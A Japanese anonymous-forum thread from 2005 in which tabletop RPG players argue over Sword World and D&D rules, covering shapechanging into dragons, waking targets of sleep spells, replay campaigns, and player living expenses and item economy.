462 :NPCさん:2005/07/07(木) 00:29:20 ID:???
>461
戦闘データというと、HDとHPと、ACとセービングスローだけだっけか?

463 :NPCさん:2005/07/07(木) 00:33:31 ID:???
>>462
あとはTHAC0かな(これはHDのうちか)。
それから肉体的能力は使えるけどそれ以外の特殊能力は使えないとか。
(例えばドラゴンに変身すれば空は飛べるけどブレスは吐けないし炎への耐性もない)
どのみちマジックユーザーが変身してもたかが知れてるわな。

464 :NPCさん:2005/07/07(木) 00:36:14 ID:???
>463
ごめん、肉体的能力の提議がわからん。
ドラゴンの火炎耐性ってのは、魔法のバリヤーでも張ってるか?
ブレスも龍語魔法みたいなもので、魔法封じの方法でなんとかなるのか?

465 :NPCさん:2005/07/07(木) 00:37:10 ID:???
>463
あ、ダメージも変わる(よ)な。
これはダガーしかないマジックユーザーには強力かも。

466 :NPCさん:2005/07/07(木) 00:43:20 ID:???
CD&D版だと特定個人に化けられないところもSWとの違いだな。

>>464
おそらくは超自然の能力かどうか。
でも別にディスペルされたりアンチマジックにかかったりはしない。

>>465
戦闘に使う利点はそのぐらいかな。
ジャイアントに化けて岩投げればそれなりに役立つか?
(まあ、もっと他の使い方をした方がいいと思うが)

467 :NPCさん:2005/07/07(木) 00:45:49 ID:???
>466
>おそらくは超自然の能力かどうか。
航空力学とかを考えると、物理的にドラゴンは空を飛べないとか、
生物学的に考えると、自重で足が潰れるとか、知能を持つには脳味噌の量が足りないとか、

【馬鹿はまぜっかえしてみた】

468 :NPCさん:2005/07/07(木) 01:29:01 ID:???
>>389
何それ?
ググってもヒットしないぞ?

469 :NPCさん:2005/07/07(木) 01:42:51 ID:???
カーラは規格外の魔法使ってたな。
・ロックになれるポリモルフの上位魔法みたいなやつ
・ファイア・ボールを複数
・ギムを殺した不思議魔法

一応魔法王国人だからって言えるけど、実際はまだ世界観が固まってなかった
せいだよね。

470 :NPCさん:2005/07/07(木) 01:43:48 ID:???
>>467
ドラゴンは魔力を帯びているから、空を飛べるし足が潰れません
ようは、ドラえもんがかすかに浮いているようなものです
てか、トカゲの類いの脳みそは、複数で構成されていて人間に比べて量も多いから、進化さえできていたら頭は良くないか?Byハチュウ人類


471 :NPCさん:2005/07/07(木) 01:45:24 ID:???
>>467
自重で足が潰れるには、まだまだだろう。
ぶっちゃけ、恐竜の方がでかいし。

472 :NPCさん:2005/07/07(木) 03:35:05 ID:???
エルダードラゴン
ノーライフキング
10レベルソーサラー+ミスリルゴーレム
9レベルファイター×4、7レベルシャーマン×2、7レベルダークプリースト×2
7レベルファイター×2、7レベルシャーマン×2、7レベルダークプリースト×2

これ全部力押しで倒そうとしたんだよな、プレイレポートの連中は。
10レベル5人とはいえ無謀だ。

473 :NPCさん:2005/07/07(木) 03:37:58 ID:???
遅レスだが>443

角が知性(?)を持たないか?

474 :NPCさん:2005/07/07(木) 03:42:14 ID:???
>>472
そこに更に8〜9レベルのパーティも居たんだよな。
何てハイレベルな場所になってるんだ。魔法装置に強者が集うって感じだな。

475 :NPCさん:2005/07/07(木) 03:50:47 ID:???
>>469
>・ファイア・ボールを複数
は今ならSWでの拡大だと解釈するしかない所だろうが、
他はCD&D準拠のはず。
最後のはクレリック呪文のフィンガー・オブ・デス(レイズデッドの逆呪文)だ。

476 :NPCさん:2005/07/07(木) 04:06:45 ID:???
>>475
ファイアボール複数はメテオスォームだったりしてな。

477 :NPCさん:2005/07/07(木) 04:16:35 ID:???
ビジュアル的にはかっこいいよな、あれ。
手の上で火の玉がたくさんグルグルと回ってるという。

478 :NPCさん:2005/07/07(木) 07:26:48 ID:???
流れをぶった切って申し訳ないが、
バブリーズで、タイデグリーワイトは5lvファイターで攻撃できると書いてあるよね?
冒険者レベル持ちがワイト化した時の処理指針ってどっかにあったっけ?

479 :NPCさん:2005/07/07(木) 07:30:26 ID:???
>>472
でも良く考えると一時的同盟って難しいと思うのだが。
正義の味方やってるのに世界征服したい奴と組めるか?
組んで良いものかどうか・・・・・・。

480 :NPCさん:2005/07/07(木) 07:30:50 ID:???
>>448
魂入れ替えの杖は技能の得られるよー。

481 :NPCさん:2005/07/07(木) 07:37:47 ID:???
>480
意味不明
>448は
本来の技能+交換した相手の技能+鏡で映した相手の技能+鏡で映した相手が杖で手に入れた技能
=本来の技能+3人分の技能
なのに。480は何を指摘してるつもりなのか、全く分からん。

482 :NPCさん:2005/07/07(木) 07:39:38 ID:???
>470
本家ドラゴンはそうでも、人間が魔法でドラゴンに変身したら、それらの魔力は再現されずに飛べないし頭も悪くなるってこと。
あの〜、読解力ありますか?

483 :NPCさん:2005/07/07(木) 07:40:06 ID:???
>>479
> >>472
> でも良く考えると一時的同盟って難しいと思うのだが。
> 正義の味方やってるのに世界征服したい奴と組めるか?
> 組んで良いものかどうか・・・・・・。
だから、一時的同盟を組める奴を探すんだろ。
最終的には対立するにしても、あいつらだってその他全員と戦うのは避けたいだろうしな。

484 :NPCさん:2005/07/07(木) 09:09:06 ID:???
>>478

Q&Aブックには、ポリモルフ・シェイプチェンジでモンスターに変身した場合の
数値の変化が書かれているから、これが一応指針にならんかな?

精神抵抗は生前のままで、防御点・生命抵抗は元のLvとMLの差分追加、
攻撃点、打撃点、回避点はファイアー・シーフのレベルとMLの差分追加で。
(MLの方が高かったらルール掲載のまま(+装備可能なモンスターなら武器・防具のペナルティやボーナス))
武器や鎧を持たせる場合の打撃点・防護点は、ルルブ掲載のレーテング表固定値算出表を参考にすれば良いと思われ。

485 :NPCさん:2005/07/07(木) 09:20:39 ID:???
>足が潰れる

昔BSマンガ夜話パトレイバーの巻でオタクの大学教授が人型巨大ロボの可能性を話す時に
「人間の大きさはこのサイズで完結していて、単純に大きさを2倍にした場合骨格の太さは2倍になるが
全体の質量が相乗的に増加するので無理なんですよ」とか言っていたなあ。

巨大ロボや竜の足の骨が何でできているか知らんが、人間の骨と同強度ってこた無いと思った夏の朝

486 :NPCさん:2005/07/07(木) 09:28:22 ID:???
>知識の額冠をかぶるナース

バグやんに他者変身の魔法かけてもらうナース

ピロテースとか黒ニースあたりをモデルにオニャノコ型にしてみる

当然黒いナースコス

(・Д・)モエー

487 :NPCさん:2005/07/07(木) 10:28:18 ID:???
ナースキャップ型の知識の額冠

488 :NPCさん:2005/07/07(木) 10:51:47 ID:???
ttp://sk-npc.net/cgi-bin/atelier/oe_345.png

これの右の娘か

489 :NPCさん:2005/07/07(木) 10:53:03 ID:???
腰までの高さ、4mが限界って言ってなかったか?
>>ロボットも恐竜も。これ以上のサイズの奴は水の中で暮らしてたらしい。

490 :NPCさん:2005/07/07(木) 11:03:25 ID:???
>>485
人間の骨をバカにするもんじゃないよ。
中が中空(骨細胞はあるが)で自己修復して一定の強度を保ち続け、
なおかつあれだけの強度を持つ素材はそうない。

491 :NPCさん:2005/07/07(木) 11:11:03 ID:???
>>483
プレーヤーとしては楽したいけど、演じてるキャラクターはそれを許容して良いものかどうか。
例えばガチガチなファリス司祭がデルマストと組むのはまずいだろう。
それを考えるとテストプレーヤー達が全部倒しに掛って失敗したのも仕方無いかな、と思う。

492 :NPCさん:2005/07/07(木) 11:12:14 ID:???
よくわかりませんがバッファローマンのツノで骨作ります

493 :NPCさん:2005/07/07(木) 11:24:20 ID:???
しかもその骨を焼いて叩いてツノに戻します。

494 :rurie:2005/07/07(木) 11:31:24 ID:0QA3sH2j
おまけにそのツノが簡単に元通りくっつきます。

495 :NPCさん:2005/07/07(木) 11:41:27 ID:???
>>491
つ大義の前の小義

496 :NPCさん:2005/07/07(木) 11:44:01 ID:???
>>491
テストプレーヤー最大のミスは8レベルファイター如きでルテジアに突っ込んだ
レヤードのプレーヤーであって、同盟組まなかった事はミスって程じゃない。
8〜9レベルでルテジアにやられた冒険者の成れの果てを知っていながら・・・。
ライトニング・バインドの効果を過信したか?

とにかく、旧ルールなら同盟組まずとも何とかなった筈。


497 :NPCさん:2005/07/07(木) 12:06:14 ID:???
面子的には組むならドラゴンって感じだな。
シナリオ読んでないので、組めるかは知らないが。

498 :NPCさん:2005/07/07(木) 12:13:08 ID:???
同盟組む方向で話が進むようにマスタリングするならともかく
全部PLに委ねて失敗は同盟組まなかったPLの責任とか言っちゃいそうだなあの人は

499 :NPCさん:2005/07/07(木) 12:17:48 ID:???
清松GMはPLに多くを期待しすぎてる。

ちなみにドラゴンと組んで魔法装置渡したら経験点半分。

500 :NPCさん:2005/07/07(木) 12:30:31 ID:???
>499
>経験点半分。
それを差し引いても妥当な選択肢じゃね?
成長も頭打ちになった10レベルは生き残ることが大事。
ドラゴンなんざ溜め込むだけで、使用に対するモチベーションが一番低いし、
人間国家に管理させるよりは遙かにマシな気がする。

501 :NPCさん:2005/07/07(木) 12:38:03 ID:???
>>500
下手にコーラスアス様刺激するとディスインテグレートで復活すらさせて
貰えなくなるらしいしね。


502 :NPCさん:2005/07/07(木) 12:40:25 ID:???
旧版ルールでもコーラスアス様古代語魔法使えたっけ?

503 :NPCさん:2005/07/07(木) 12:52:19 ID:???
使えなかった。
彼も成長著しいからね。

504 :NPCさん:2005/07/07(木) 12:53:32 ID:???
やっぱ、魔法装置をかっさらうセッションで結構高めの経験値手に入れたんかね。

505 :NPCさん:2005/07/07(木) 13:04:33 ID:???
やっぱバブリーズ面白かったのはPL水野とGM清松が揃ってたからなのかなあ
水野抜けてミラルゴになって詰まんなくなったし。

アンマント編はイーノのプレイヤーが誰か気になる所では有るが
卓の半数が女性ならほっといてもそこそこ面白くなる希ガス

506 :NPCさん:2005/07/07(木) 13:12:01 ID:???
バブリーズは社での立場的にGM≧PLだったからね
以降はGM>PLになったからGMの高圧的な態度とギスギスした空気がつまらなくした

507 :NPCさん:2005/07/07(木) 13:14:46 ID:???
そこらへんSNEは本気入ってそうで怖い

508 :NPCさん:2005/07/07(木) 13:25:58 ID:???
眠ってる香具師にシェイドかけたら起きるの?

509 :NPCさん:2005/07/07(木) 13:28:33 ID:???
どうしてそう思ったの?

510 :NPCさん:2005/07/07(木) 13:29:22 ID:???
>>482
人間でもドラゴンに変身したら同じ能力だろ?
てか、魔力はドラゴンのボディー自体に存在するから大丈夫じゃないのって言ってるだけ
ドラゴンと人間のどっちが頭がいいかは、ドラゴンによるけどな
細かい突っ込みをいれて、読解力不足とか言うなよw

511 :510:2005/07/07(木) 13:30:01 ID:???
一行目訂正
ドラゴンに変身したら、肉体的には同じ能力な

512 :NPCさん:2005/07/07(木) 13:38:50 ID:???
>>509
攻撃受けたら起きるからだろ。

513 :NPCさん:2005/07/07(木) 14:08:23 ID:???
なんで人間が竜に変身しても飛べないんだ?
魔力は賢さの影響ってことで納得できるが・・・

514 :NPCさん:2005/07/07(木) 14:11:36 ID:???
>>489
水中生活説は随分前に否定されたと思ったが。

515 :NPCさん:2005/07/07(木) 14:13:38 ID:???
>>513
>>461-467あたりから読んでいくと分かると思う。
基本的にSWと無関係な話ではある。

516 :NPCさん:2005/07/07(木) 14:14:17 ID:???
人間がドラゴンに変身した場合、
飛べる
火吐ける
魔力は人間時のもの

だと思うけどどうよ


それはそうと、人間がドラゴンに変身できたっけ?ドラゴンプリースト?

517 :NPCさん:2005/07/07(木) 14:16:42 ID:???
>>515
よくわかったthx


つまり、リアル持ち出してグタグタ言ってるだけなのね

518 :NPCさん:2005/07/07(木) 14:19:24 ID:???
>>516
だからD&Dの話だって。
「D&Dは何にでも変身できていいなー」に対して
「D&Dは変身しても全ての能力を使えるようになるわけじゃない
 (SWと比べて特別太っ腹なワケじゃない)」という話。

519 :NPCさん:2005/07/07(木) 14:21:25 ID:???
>>508
結果、対象の精神点が1以上なら起きるんだろうね。
珍妙な話だが、眠っている対象にスリクラ掛けて抵抗されたら対象は起きるだろう。

520 :NPCさん:2005/07/07(木) 14:29:45 ID:???
>>503
ディスインテグレート喰らったんじゃないなら何でザンダームは仲間生き返らせないんだろ?
まさか見つける者たちに匹敵するというのは嘘でリザレクション使えるレベルじゃないのか?

521 :NPCさん:2005/07/07(木) 14:32:52 ID:???
復活にかかる費用が払えなかったのだろう

522 :NPCさん:2005/07/07(木) 14:32:56 ID:???
専業ファイターと専業シーフがようやく10レベルになったばっかりで
神官戦士なんかはまだ8レベルなんじゃないか?
でまあ、10レベルが2人もいるので、一応「見つける者たちに匹敵する」と言われていると。

523 :NPCさん:2005/07/07(木) 14:45:02 ID:???
>スリクラ抵抗で起きる

やっぱり匂いで気が付くんかね

524 :NPCさん:2005/07/07(木) 14:46:09 ID:???
>>520
その書き方だと、生き残りのザンダームがリザレクションできるのか?
>>521
ラーンパーティーに多額の報酬金を見せなかったか?
>>522
それは苦しい。

525 :NPCさん:2005/07/07(木) 14:51:11 ID:???
10レベルファイターザンダーム一人残し全滅。
まずプリーストを復活させようとしたが依頼した神官が1ゾロ。

526 :NPCさん:2005/07/07(木) 15:16:54 ID:???
>>525
そのあたりが説明として妥当かな。
オランが舞台だし。

527 :NPCさん:2005/07/07(木) 15:19:31 ID:???
一応、10LVソーサラーとも戦ってるからな>ザンダームパーティー
そこら辺で一人ぐらい散ってるかもしれん。

528 :NPCさん:2005/07/07(木) 15:35:06 ID:???
>>519
起きないんじゃないか?
ルール読んでもそういうことは書いてないからSWお得意の常識で判断になってグダギダもめそうな気はするが。

529 :NPCさん:2005/07/07(木) 15:37:44 ID:???
>519
スリープクラウドは成功したら影響がないから起きない気もする。

530 :NPCさん:2005/07/07(木) 15:45:18 ID:???
魔法かけるのも攻撃とみなして
「起きる」でいいと思うが。

531 :NPCさん:2005/07/07(木) 15:50:21 ID:???
>>523
いや、魔法に抗う事イコール精神的な抵抗イコール精神的な揺さぶり、って事だろ。
その衝撃で目が覚めるのであって、
匂いその他は付随要素と解釈しないと魔法とか言ってもただの化学反応。
ただでさえファンタジーさが希薄とか言われがちなんだから。

>>528 >>529
それこそ、漏れは「起きる」と解釈した方が打倒な理由を挙げただけだな。
魔法で不意打ちし放題になるのは嫌だ。

532 :NPCさん:2005/07/07(木) 15:53:28 ID:???
>531
エナジーボルトとかシェイドとかだったら物理的に影響があるから起きるンじゃない?

533 :NPCさん:2005/07/07(木) 15:59:12 ID:???
ロケーションでも起きるんだから攻撃(非物理含む)ならなおさら

534 :NPCさん:2005/07/07(木) 16:05:38 ID:???
>>532
ん?アンカーミス?
それを喰らって起きないとは言ってないが。

ダメージがあろうとなかろうと、
「魔法を掛けられた事に気付く」チャンスは与えられるべきだという事ね。

>>533
それはカウンターセンスを掛けた状態と混同してない?

535 :NPCさん:2005/07/07(木) 16:10:47 ID:???
そかカウンターセンス限定であったか

536 :NPCさん:2005/07/07(木) 16:28:31 ID:???
あれ?ザンダームって神官戦士なんだ。

537 :NPCさん:2005/07/07(木) 16:36:11 ID:???
>>524-527
コーラスアスに焼かれた後、ルテジアの意趣返しでアンデッド化されてしまい、セーブソウルされるまでリザレクションは無効な状況ってのは?

538 :NPCさん:2005/07/07(木) 17:00:51 ID:???
死体をレッサー化できるのか?
まあゾンビにすればアンデッド化ではあるが。

539 :NPCさん:2005/07/07(木) 17:06:49 ID:???
そんなことされたら、コーラスアスじゃなくルテジア狙うだろ。

540 :NPCさん:2005/07/07(木) 17:27:04 ID:???
>468
ソードワールドRPGリプレイ:ロードス島に炎立つ
1998年ドラゴンマガジン06月号〜8月号で連載されていた。

541 :NPCさん:2005/07/07(木) 17:33:52 ID:???
>>539
ザンダーム視点からはアンデッド化された事を知らず、何故かリザレク失敗したとだけ。と理由付ければ無問題。

ルテジアは意趣返しを安全に果たした上、虚無的な雰囲気を持つまで壊れた"おもちゃ"がコーラスアスに挑むのを遠目に見て楽しむという娯楽まで手に入れる事になる。

…って出まかせなのに、漏れの中でザンダームがカコイク感じてきた。

542 :NPCさん:2005/07/07(木) 18:10:21 ID:???
シェイドでは起きるみたいだな。
スリクラの説明文のところに肉体的、精神的にダメージうければ起きるらしい。
逆に言えばダメージ系以外の魔法では起きないような気もする。

・・・ディスペル・マジックでは起きるのかな?

543 :NPCさん:2005/07/07(木) 18:10:23 ID:???
ザンダームは実際かっこいい登場したからな。
最後頼み方がかっこ悪かったけども。

544 :NPCさん:2005/07/07(木) 18:36:55 ID:???
>>542
ディスペルマジックは持続している魔法を打ち消す物で、
対象はあくまでも”PCに掛かっている魔法”であってPCじゃないから。
(使用された魔法の達成値とディスペルマジックの達成値の解決になる
 だから、ダークエルフの精神抵抗+4も無関係な訳だし)

ならスリープクラウドを解除すれば〜、と思うかもシンマイけど、
スリクラの効果時間は一瞬で、その後は自然な眠りと一緒だから
ディスペルマジックでは解けない。


545 :NPCさん:2005/07/07(木) 18:42:09 ID:???
ルーイはスマートかつクレバーで好感が持てたけどね。借金取りで一部メンバーとは相容
れないスタンスだったり墓穴堀りだったけどそこが良い。

546 :NPCさん:2005/07/07(木) 18:49:08 ID:???
>>545
何処から急に沸いてきた話題か知らんが、相容れなく無いぞ。
奴らが金を返さんと給料が出ない。
一蓮托生。

個人的にはTRPGとして、一番上手いプレイヤーだったと思うな>トリオ・ザ・住専以外の3人

547 :NPCさん:2005/07/07(木) 19:01:44 ID:???
たしかにあの3人はうまいプレイヤーって感じだったな。
カシスはロールプレイが自然で、ルーイやイーノはそれプラス数字やルールに強かった印象がある。

548 :NPCさん:2005/07/07(木) 19:03:50 ID:???
うむ。特に本来の当事者であるはずのトリオ住専よりもよほど真剣に
借金返済の算段をしていたルーイには泣けたよ。

549 :NPCさん:2005/07/07(木) 19:12:39 ID:???
そういえばSWっていつから生活費を引かれなくなったんだ?

550 :NPCさん:2005/07/07(木) 19:13:50 ID:???
>>549
引かれるぞ。
ノリスは1日30ガメル払ってるぞ。

551 :NPCさん:2005/07/07(木) 19:16:17 ID:???
ノリスの金払いのよさはびっくりするぐらいだったな。

552 :NPCさん:2005/07/07(木) 19:18:56 ID:???
元から生活費引くルールはなかったような

553 :NPCさん:2005/07/07(木) 19:21:02 ID:???
>>552
31ページにもろに「生活費 10〜」とあるが?

554 :NPCさん:2005/07/07(木) 19:29:03 ID:???
>>549
処理がめんどくさいから引かれなくなったんだろ。
バブリーズは2万払ったが、ミラルゴ以降はいつの間にか払わなくなったんじゃなかったか。

555 :NPCさん:2005/07/07(木) 19:32:51 ID:???
>>554
お前の目は節穴か?
トリオ・ザ・住専もへっぽこも払ってるぞ。

556 :NPCさん:2005/07/07(木) 19:34:37 ID:???
生活臭のあるキャンペーン以外ではあんまりやらなくなったな>生活費

金が余ってるから依頼を断るってプレイヤーが減ってるからだろうか?

557 :NPCさん:2005/07/07(木) 19:38:27 ID:???
>>554
リプレイで省いてるだけかもしれんぞ。

558 :NPCさん:2005/07/07(木) 19:39:58 ID:???
へっぽこは払ってないぞ。
自発的に払うやつと払わないやつがいる。
払ってるのはノリスくらいか。
報酬値切ったり、無駄に金使ったりはしてるが。

559 :NPCさん:2005/07/07(木) 19:41:20 ID:???
>>550
100じゃないっけ? 途中で苦しくなって下げたけど。
家ないなら一日40〜だし。

560 :NPCさん:2005/07/07(木) 19:50:26 ID:???
SWって装備一式そろえたら金の使い道ほとんどないしな
魔剣とかは買うものじゃないし、魔晶石の大量購入はクズ魔晶石であっても清松の想定外っぽいし
そもそも金の使い道が豊富だと考えるんならミラルゴや住専みたいなプレイは論外だろうし。
前者は金はあっても使う場所がない、後者は最初から使える金を全部PCから奪ってる。

561 :NPCさん:2005/07/07(木) 19:51:57 ID:???
>>560
へっぽこやR&Rの記事では違った傾向が出てるように見えるが。

562 :NPCさん:2005/07/07(木) 19:52:39 ID:???
へっぽこも一応払っている。
ノリスが金額が多いから記憶に残りやすいだけじゃ?
新へっぽこでもバスは払っているし。

イリーナ・ヒース・マウナは住まい有りだから
少額で記憶に残りにくいor書かれないだけじゃないかのぅ。

それに8〜10はシナリオの合間も、基本的に雇われている途中だったりするのもあると思う。

563 :NPCさん:2005/07/07(木) 19:52:45 ID:???
>>560
SWS読めよ。
嘘ばっか書くな。

564 :NPCさん:2005/07/07(木) 19:54:16 ID:???
>>558
払ってるぞ。
ノリスやバスは言うに及ばず、イリーナでも宿があるから安いが払ってるぞ。

565 :NPCさん:2005/07/07(木) 19:56:04 ID:???
イリ−ナって神殿住まいじゃないのか?

566 :NPCさん:2005/07/07(木) 19:56:56 ID:???
今年になってR&Rでサポートされるまで560だったでFA?

567 :NPCさん:2005/07/07(木) 20:01:14 ID:???
>>566
そもそも、目安が無いから鳥取判断しかないでFA

>>565
宿(神殿・魔術師ギルド・自宅)があっても生活費は払うんだが・・・

568 :NPCさん:2005/07/07(木) 20:02:35 ID:???
>>566
>>560と言い切れるのは百歩譲ってもせいぜい文庫版まで。
完全版で掲載マジックアイテムが増えて値段が下がったのは
 金 の 使 い 道 を 増 や す た め だぞ。

569 :NPCさん:2005/07/07(木) 20:03:01 ID:???
金の使い道はあんまりないと思うが。
というか、消耗品をもっと増やせばいいと思うな。
それこそ生命点回復ポーショんとか、ラックのかかった護符とか。
ぶっちゃけるとデータの数値の幅が小さいから+修正のついた装備があると容易にバランスが崩れる。
特殊効果のあるアイテムは使い勝手悪すぎだし。

570 :瑠璃絵:2005/07/07(木) 20:04:53 ID:AHtXauXd
少なくともシーフの魔剣は明らかに買うもんだよナ。
グラランなんか買いたい放題ですよ。

571 :NPCさん:2005/07/07(木) 20:11:53 ID:???
>>569
そういうのは必要筋力でバランス取るものじゃないか?
武器や防具で最終的に重要なのは期待ダメージだろうし。

572 :NPCさん:2005/07/07(木) 20:13:39 ID:???
>>569
便利だけどそこそこ高い消耗品とかがいっぱいあれば使い道は多いって言えるだろうな。
○晶石とかは微妙すぎて使いにくい。魔力に応じて値段が変わればよかったのに。
生命点回復ポーションはないのが不思議。清松のリアルリアリティ信仰なんだろうが。

573 :NPCさん:2005/07/07(木) 20:16:42 ID:???
>>571
データの幅が狭いからなぁ・・・
しかもルールで+5までって規定されちゃってるし。

574 :NPCさん:2005/07/07(木) 20:23:29 ID:???
必要筋力ぴったりの装備一式そろえたあとで欲しいものってのがあんまりないような・・・

575 :NPCさん:2005/07/07(木) 20:23:30 ID:???
>>573
だから、+1したら強すぎるようなら
「必要筋力ぴったりのは売ってないよ」とでも言ってやればいいじゃない。

まあ、実際はそんなことしなくても
PC間で平等に所持金が分配されていればそうそうバランスが崩れたりはしないはずだが。
(基本的に強い奴ほど金かかるようになってるから)

576 :NPCさん:2005/07/07(木) 20:28:47 ID:???
>>575
それは戦士が金食い虫で他のキャラは金の使い道がないといいたいのか?

577 :NPCさん:2005/07/07(木) 20:31:10 ID:???
D&Dや六門やARAなんかと比較すると、金の使い道はなきに等しいな。
でもダブクロなんかと比べたら物凄く使い道あるよ!

578 :NPCさん:2005/07/07(木) 20:33:15 ID:???
DXはそもそも金ってパラメータないじゃん。

579 :NPCさん:2005/07/07(木) 20:38:22 ID:???
結局消耗品の少なさと、装備のバリエーションの少なさが原因かな>金の使い道の少なさ

580 :NPCさん:2005/07/07(木) 20:38:57 ID:???
となると、純粋ナイトウィザード並って所か?<価値


581 :NPCさん:2005/07/07(木) 20:44:01 ID:???
>>580
ああ、そんくらいかも。
金はとりあえず幸運の宝石買えばOKなゲームだったし。

あれは箒オプションとかいいアイデアだと思ったんだが、箒なんてつかわねーんだよ!クソ!

582 :NPCさん:2005/07/07(木) 20:44:15 ID:???
>>536
SNEのサイトか何かでザンダームは神官戦士だと認定してた気がする。

583 :NPCさん:2005/07/07(木) 20:49:49 ID:???
>>567
より冒険者的な旅人 ⇒ 宿賃+生活費
より一般人的な定住市民 ⇒ 生活費のみ

と処理してるが、これだと安上がりな後者が選ばれがちになるんだよな…
土地のコネや顔見知りなど、ゲーム参加を高めるフックが振られやすい事もあるし。

結果、ホームから自主的に旅立とうともしない。兼業冒険者みたいな。
今風という事なのかも知れないけど、何か釈然としない。

584 :NPCさん:2005/07/07(木) 20:50:17 ID:???
>>582
俺はそんなことなかった気がする。

585 :NPCさん:2005/07/07(木) 20:52:39 ID:???
>>583
なにか目的や理由がなければ無駄に旅をするよりは一つの街で活動した方がいろいろ便利だからな。
宿代うんぬんを抜きにしても。

586 :NPCさん:2005/07/07(木) 20:55:23 ID:???
PC全員旅する理由持ちにすればいいじゃない?

587 :NPCさん:2005/07/07(木) 20:56:40 ID:???
>>556
俺なんか金余ってるときの方がすんなり依頼受けてるな。
報酬安くてもオッケーな気分になるし。

588 :NPCさん:2005/07/07(木) 20:57:46 ID:???
>>586
旅するキャンペーンをやりたいならそうなるだろうな。

589 :NPCさん:2005/07/07(木) 21:13:01 ID:???
生活費って結構馬鹿にならないけどなー
金渡しすぎてるんじゃないのか?

590 :NPCさん:2005/07/07(木) 21:20:56 ID:???
高レベルパーティーで、悪の秘密結社に目をつけられ、喧嘩を売られて巻き込まれ型シナリオをばかりだったので、収入がありません。

591 :NPCさん:2005/07/07(木) 21:22:42 ID:???
>438
亀レスですまんが、どうすれば混同できるのかわからん。
ラノベ板と卓ゲー板の百鬼スレの過去を1から読んでみるといいよ。

592 :NPCさん:2005/07/07(木) 21:27:41 ID:???
>>572
マジックアイテムは古代のソーサラーが作ったものでソーサラーの呪文に回復呪文が無い(有るかもしれないけど知られていない)
ってのが理由かねぇ。

593 :NPCさん:2005/07/07(木) 21:29:56 ID:???
ヒーラーが作成された薬が市販されているってのはどうかな?
回復に一晩かかるし、回復量もせいぜいレーティングの5〜8程度だろうけど。
パーティー内にプリーストがいたら無意味か…

594 :NPCさん:2005/07/07(木) 21:30:36 ID:???
スリクラについて気になることが

スリクラの特性
・近くで戦闘などしていると抵抗ロールできる
・極端に大きな音がおこるとロール無しで目覚める

極端に大きな音ってライトニングとかファイアボールでも起きるのかな?

595 :NPCさん:2005/07/07(木) 21:31:08 ID:???
「ない」のと「載ってない」のとは全然違うけどな<回復ポーション

596 :NPCさん:2005/07/07(木) 21:32:29 ID:???
>ライトニングとかファイアボール
ま、それでいいんでないの?
あとはフォースイクスプロージョンとか、イリーナの渾身の一撃がアイアンゴーレムにヒットするとか。

597 :NPCさん:2005/07/07(木) 21:33:28 ID:???
>>594
普通の戦闘で起きる程度の音では駄目じゃない?
ウィンドボイスを寝てる奴の耳元にかけて怒鳴るぐらいやれば
起きることにして良いだろうけど。

598 :NPCさん:2005/07/07(木) 21:39:22 ID:???
6時間以上寝てる香具師にシェイドぶつけたら、起きた時の精神力はいくつだろ?
ルール上は目がさめた瞬間に回復だから、
[寝てる]⇒[シェイドで精神に衝撃]⇒[目がさめる]⇒[その瞬間に精神力全快]
となりそうだけど。

599 :NPCさん:2005/07/07(木) 21:42:14 ID:???
>>597
リプレイでは普通の戦闘で起きると裁定してたぞ。
つーか、100m以内で金属製の剣で切りあいしてたら凄い音だぞ。

600 :NPCさん:2005/07/07(木) 21:44:29 ID:???
>>599
そりゃ戦闘じゃ全く役に立たなくなるじゃないか
その辺はロール振るぐらいが適当かと

>>597
地上で鳴り響く雷なんて耳を劈くと思うぞ


>>594
そうでいいと思うよ

601 :NPCさん:2005/07/07(木) 21:45:48 ID:???
>>599
どのリプレイのどのあたりで?

602 :NPCさん:2005/07/07(木) 21:46:20 ID:???
>>599
> 100m以内で金属製の剣で切りあいしてたら凄い音
ルール上はその凄い音が「近くで戦闘などしていると抵抗ロールできる」レベルなんだろ。

603 :NPCさん:2005/07/07(木) 21:46:44 ID:???
>>601
ロードス島に炎立つ

604 :NPCさん:2005/07/07(木) 21:51:50 ID:???
セージにも薬品学あるけどこのゲーム薬品がしょぼすぎるからなー


605 :NPCさん:2005/07/07(木) 21:57:13 ID:???
>>604
しょぼくないよ
つアイオケーン  つケンタウリ・ブラッド

606 :NPCさん:2005/07/07(木) 21:58:27 ID:???
毒じゃないの・・・?

607 :NPCさん:2005/07/07(木) 22:01:48 ID:???
いや、だって毒は作れても、薬を作れないよ>薬品学

608 :NPCさん:2005/07/07(木) 22:08:05 ID:???
作れるよ。
ただ毒以外の薬品データがないだけだ。

609 :NPCさん:2005/07/07(木) 22:08:36 ID:???
>>603
俺はそれ読めないからなんとも言えん。

610 :NPCさん:2005/07/07(木) 22:14:44 ID:???
治療薬等の冒険途中に使える薬とか作れれば、セージの存在意義が高まるし、金の使い道も出てくるしな。

611 :NPCさん:2005/07/07(木) 22:14:46 ID:???
>>600
役に立つよ。
1ターンは無力化+次ターンは倒れている+武器・盾は落す
だぞ。

612 :NPCさん:2005/07/07(木) 22:17:27 ID:???
つ[ビーストメイカーと、その解毒薬]
冒険中に役に立つ。
水中行動用に魚とか、飛行用に鳥とか、高速移動用に馬とか、戦闘用にジャイアントオクトパスとか。

613 :NPCさん:2005/07/07(木) 22:18:48 ID:???
>>610
いや、プリーストのレベルが上がればクズ魔晶石のほうが安上がりで安全な気がする。

614 :NPCさん:2005/07/07(木) 22:18:59 ID:???
ビーストメイカーって精神はそのまま残るんだっけ?

615 :NPCさん:2005/07/07(木) 22:21:24 ID:???
>>614
シェイプチェンジ相当だから残るはず。

616 :NPCさん:2005/07/07(木) 22:23:51 ID:???
>>612
何そのベターマン

617 :NPCさん:2005/07/07(木) 22:24:22 ID:???
>ビーストメイカー
鼠で脱出or潜入、犬で追跡、カメレオンで隠れるとか、

618 :NPCさん:2005/07/07(木) 22:25:45 ID:???
>616
極々一般的な昔話や童話でお馴染みの変身魔法の使い方だろ?

619 :NPCさん:2005/07/07(木) 22:27:31 ID:???
しかし、変身には重大な問題点が…
行動は全部、全裸で。

620 :NPCさん:2005/07/07(木) 22:34:59 ID:???
薬持ち歩けねーじゃん

621 :NPCさん:2005/07/07(木) 22:37:10 ID:???
>620
つ[創意工夫]


以前の問題だよ。

622 :NPCさん:2005/07/07(木) 22:38:12 ID:???
>>589

いや、ヒーヒーするけど、結局3回程冒険しちゃえば生活費で困難になる事って少ないんだよな。
そりゃ戦士とかが金属鎧に買い換えたりすると貧困に喘ぐ事になるけど、
シーフやシャーマン、ソーサラー辺りは結構、余っている事多いからなぁ。
